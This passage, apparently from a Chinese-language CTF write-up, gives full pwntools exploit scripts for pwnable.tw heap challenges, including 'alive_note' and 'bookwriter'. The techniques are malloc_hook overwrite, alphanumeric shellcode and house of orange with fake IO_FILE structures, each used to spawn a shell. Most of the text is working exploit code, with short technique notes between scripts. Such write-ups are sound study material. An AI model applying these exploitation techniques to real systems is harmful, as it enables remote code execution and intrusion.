        #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
        payload3 = p64(0)
        payload3 = payload3.ljust(0x60, b"B")
        payload3 += p64(data_obj+0x10)
        edit(payload3, 0x30, p64(read_got), 0xdeadbeef)
        show()
        p.recvuntil(b"Key: ")
        libc_leak = u64(p.recvuntil(b"\x0a", drop=True).ljust(8, b"\x00"))
        libc_base = libc_leak - libc.symbols[b"read"]
        one_gadget = libc_base + one_remote[1]
        malloc_hook = libc_base + libc.symbols[b"__malloc_hook"]
        fake_chunk = malloc_hook - 0x23
        realloc = libc_base + libc.symbols[b"realloc"]
        print("libc_leak:", hex(libc_leak))
        print("libc_base:", hex(libc_base))
        print("one_gadget:", hex(one_gadget))
        print("malloc_hook:", hex(malloc_hook))
        print("fake_chunk:", hex(fake_chunk))
    
        # get malloc_hook
        ## fakebin akkack
        payload4 = p64(0) + p64(0x71)
        payload4 = payload4.ljust(0x60, b"A")
        payload4 += p64(bss_name+0x10)
        payload4 = payload4.ljust(0x70, b"A")
        payload4 += p64(0x70) + p64(0x21)
        edit(payload4, 1020, b"1", 0xdeadbeef)
    
        ## fake fd
        payload5 = p64(0) + p64(0x71)
        payload5 += p64(fake_chunk)
        edit(payload5, 1020, b"1", 0xdeadbeef)
    
        ## get fake chunk
        edit(p64(0) + b"\x71", 0x60, b"1", 0xdeadbeef)
        #gdb.attach(p, "b *0x4014f5\nb *0x401563\nc\n")
        edit(b"eqqie", 0x60, b"a"*(0x13-0x8) + p64(one_gadget) + p64(realloc), 0xdeadbeef)
    
        p.sendline("cat /home/*/flag")
        p.interactive()
    
    
    if __name__ == "__main__":
        exp()
    

    漏洞利用

    程序Heap内存区域有执行权限,并且Add功能存在下标溢出。当使用负数下标时可以覆盖got表项指针指向堆内存,从而执行自定义shellcode。但是堆块输入限制非常大,只有8个字节,而且要求全为大小写字母或数字。也就是说需要用多个堆块借助拼接构造shellcode。

    为了简化利用,先构造调用SYS_read的shellcoed,然后借助它往堆上读执行execve("/bin/sh", NULL, NULL)的系统调用来getshell。

    主要难点

    1. 构造为全为大小写字母或数字的shellcode,这个思路网上很多,主要都是利用push, pop, xor, dec, jne之类的指令进行构造(注意xor的时候一般使用al寄存器)

    2. 使用jne指令连接多个块,jne的操作数是相对值,即目标指令相对于下一条指令的偏移,所以要考虑好两段shellcode中间间隔堆块的数量以便操作数在合法范围内。

    3. 通过减法+异或构造出int 0x80指令(技巧性很强)。

    EXP

    from pwn import *
    
    #p = process("./alive_note")
    p = remote("chall.pwnable.tw", 10300)
    elf = ELF("./alive_note")
    context.log_level = "debug"
    context.arch = "i386"
    
    free_offset = -27
    
    #free reg info
    '''
     EAX  0x804b018 ◂— 'bbbb' (free arg)
     EBX  0x0
     ECX  0x0
     EDX  0x0
     EDI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x2d /* 0x1b2db0 */
     ESI  0xf7fa8000 (_GLOBAL_OFFSET_TABLE_) ◂— mov    al, 0x2d /* 0x1b2db0 */
     EBP  0xffffcee8 —▸ 0xffffcef8 ◂— 0x0
     ESP  0xffffcebc —▸ 0x80488ef (del_note+81) ◂— add    esp, 0x10
     EIP  0x804b008 ◂— 'aaaa' (code)
    '''
    
    def get_alpha_shellcode(raw):
        with open("./alpha3/raw.in", "wb") as r:
            r.write(asm(raw))
        os.system('cd alpha3;python ALPHA3.py x86 ascii rax --input="raw.in" > alpha.out')
        res = b""
        with open("./alpha3/alpha.out", "rb") as a:
            res = a.read()
        return res
    
    def add(idx:int, name):
        p.recvuntil(b"Your choice :")
        p.sendline(b"1")
        p.recvuntil(b"Index :")
        p.sendline(str(idx).encode())
        p.recvuntil(b"Name :")
        p.sendline(name)
    
    def show(idx:int):
        p.recvuntil(b"Your choice :")
        p.sendline(b"2")
        p.recvuntil(b"Index :")
        p.sendline(str(idx).encode())
    
    def delete(idx:int):
        p.recvuntil(b"Your choice :")
        p.sendline(b"3")
        p.recvuntil(b"Index :")
        p.sendline(str(idx).encode())
    
    def chunk_pad(num):
        for i in range(num):
            add(10, b"aaaaaaa")
    
    def exp():
        #build shellcode
        ## call SYS_read to read execve shellcode
    
        ### PYjzZu9
        part1 = '''
        push eax
        pop ecx
        push 0x7a
        pop edx
        '''
        part1 = asm(part1) + b"\x75\x39"
        add(-27, part1)
        chunk_pad(3)
    
        ### SXH0AAu8
        part2 = '''
        push ebx
        pop eax
        dec eax
        xor BYTE PTR [ecx+0x41], al
        '''
        part2 = asm(part2) + b"\x75\x38"
        add(0, part2)
        chunk_pad(3)
    
        ### 490ABSu8
        part3 = '''
        xor al, 0x39
        xor BYTE PTR [ecx+0x42], al
        push ebx
        '''
        part3 = asm(part3) + b"\x75\x38"
        add(0, part3)
        chunk_pad(3)
    
        ### Xj3X40u9
        part4 = '''
        pop eax
        push 0x33
        pop eax
        xor al, 0x30
        '''
        part4 = asm(part4) + b"\x75\x39"
        add(1, part4)
        chunk_pad(3)
    
        ### 02F
        part5 = b"\x30\x32\x46"
        add(2, part5)
    
        #gdb.attach(p, "b *0x804b008\nb *0x804b10b\nc\n")
        delete(1)
    
        ## write shellcode to run next
        shellcode = asm(shellcraft.sh())
        payload = b"a"*0x43 + shellcode
        p.sendline(payload)
    
        # getshell
        p.interactive()
    
    if __name__ == "__main__":
        exp()
    

    思路:

    1. Autor未设置截断导致heap泄露,strlen重设长度时包含下一个chunk的size导致溢出;
    2. 进行house of orange释放原先的topchunk进入unsortedbin(进入过程可以借助scanf中malloc分配缓冲区来完成),以此可以泄露libc;
    3. (关键)unsortedbin attack攻击IO_list_all,使其的指针指向main_arena+0x58,然后以此为IO_FILE结构体,再通过struct _IO_FILE *_chain域指向堆上的unsortedbin位置;
    4. 只要提前在unsortedbin位置伪造好IO_FILE结构体和vtable就可以借助_IO_flush_all_lockp(在触发malloc_printerr时会被调用)调用system("/bin/sh\x00")来getshell.

    分析历程

    这里有个很操蛋的地方卡了很久...开始一直弄不明白unsortedbin attack修改掉IO_list_all之后如何构造struct _IO_FILE *_chain指向堆上我们伪造的结构。分析发现如果把main_arena+0x58看作结构体,则对应smallbin[4](0x60)的索引位置,也就是只要有一个0x60的smallbin被free就可以构成链表。

    但是想了很久还是不明白如何让unsortedbin进入这个位置...又翻了好久的源代码发现在尝试对unsortedbin进行分割前,其中一个判断条件要满足的是:bck == unsorted_chunks (av),而bck = victim->bk 。换句话说,只要unsorted chunk中的bk指针被修改掉之后,一定不会满足这个判断,也就一定不会进入分割unsorted chunk的过程。如果我们提前借助堆溢出修改unsorted chunk大小为0x61,则在下次分配一个0x10的堆块时就会进入下面把unsorted chunk置入smallbin的分支过程,这一举动刚好使得smallbin[4](0x60)的索引位置出现了原先unsorted chunk的指针。加上一定的构造之后(相关限制条件可以看ctfwiki)就可以通过触发报错拿shell了。

    总结一下就是:在bk指针被破坏之后,原本可能发生的unsorted chunk分割条件无法满足,而是直接把整个unsorted chunk置入smallbin对应位置(注意不是fastbin,不能只看大小,要看程序流)。这些细节勿略掉可能会在很浅显的地方翻车。

    EXP:

    from pwn import *
    
    #p = process("./bookwriter", env = {"LD_PRELOAD":"./libc.so.6"})
    p = remote("chall.pwnable.tw", 10304)
    elf = ELF("./bookwriter")
    libc = ELF("./libc_64.so.6")
    context.log_level = "debug"
    
    def send_choice(idx:int):
        p.recvuntil(b"Your choice :")
        p.sendline(str(idx).encode())
    
    def add(size, content):
        send_choice(1)
        p.recvuntil(b"Size of page :")
        p.sendline(str(size).encode())
        p.recvuntil(b"Content :")
        p.send(content)
    
    def view(idx:int):
        send_choice(2)
        p.recvuntil(b"Index of page :")
        p.sendline(str(idx).encode())
    
    def edit(idx:int, content):
        send_choice(3)
        p.recvuntil(b"Index of page :")
        p.sendline(str(idx).encode())
        p.recvuntil(b"Content:")
        p.send(content)
    
    def info(new_author=None):
        send_choice(4)
        p.recvuntil(b"(yes:1 / no:0)")
        if new_author != None:
            p.sendline(b"1")
            p.recvuntil(b"Author :")
            p.send(new_author)
        else:
            p.sendline(b"0")
    
    def go_exit():
        send_choice(5)
    
    def exp():
        # const
        bss_author = 0x602060
        bss_catalog = 0x6020a0
        bss_sizelist = 0x6020e0
    
        # set author
        author = b"a"*(0x40-0x2) + b"||"
        p.recvuntil(b"Author :")
        p.send(author)
    
        # leak libc && heap
        add(0x18, b"aaa") #0
    
        ## leak libc
        edit(0, b"a"*0x18)
        edit(0, b"a"*0x18+b"\xe1\x0f\x00") #modify size of top_chunk
        info() # call printf to malloc(0x1000) && get unsortedbin
        add(0x78, b"aaaaaaaa") #1
        view(1) #leak address preserved
    
        p.recvuntil(b"Content :\naaaaaaaa")
        libc_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
        libc_base = libc_leak - 0x3c4188
        system = libc_base + libc.symbols[b"system"]
        stdout = libc_base + 0x3c5620
        io_list_all = libc_base + libc.symbols[b"_IO_list_all"]
        print("libc_leak:", hex(libc_leak))
        print("libc_base:", hex(libc_base))
        print("stdout:", hex(stdout))
        print("io_list_all:", hex(io_list_all))
    
        ## leak heap
        send_choice(4) #info
        p.recvuntil(b"||")
        heap_leak = u64(p.recvuntil(b"\n", drop=True).ljust(8, b"\x00"))
        heap_base = heap_leak - 0x10
        print("heap_leak:", hex(heap_leak))
        print("heap_base:", hex(heap_base))
        p.sendafter(b"(yes:1 / no:0)", b"0\n")
    
        chunk1_addr = heap_base + 0x20 
        print("chunk1_addr:", hex(chunk1_addr))
    
        edit(0, b"\n") #set size[0]=0
        for i in range(7):
            add(0x58, b"bbbb")
    
        ## unsortedbin attack
        pad = b"a"*0x330
        ## build fake _IO_FILE and vtable
        data = b'/bin/sh\x00'
        data += p64(0x61)
        data += p64(0xdeadbeef)
        data += p64(libc_base + libc.symbols[b'_IO_list_all'] - 0x10)
        data += p64(2)
        data += p64(3)
        data = data.ljust(0xc0, b'\x00')
        data + p64(0xffffffffffffffff)
        data = data.ljust(0xe0-8, b'\x00')
        vtable = p64(0) * 3 + p64(libc_base + libc.symbols[b'system'])
        vtable_addr = heap_base + 0x420
        data += p64(vtable_addr)
        data += vtable
        edit(0, pad+data)
        edit(0, b"\n") #set size[0]=0
    
        send_choice(1)
        p.recvuntil(b"Size of page :")
        p.sendline(b"16")
    
        #gdb.attach(p)
    
        p.interactive()
    
    if __name__ == "__main__":
        exp()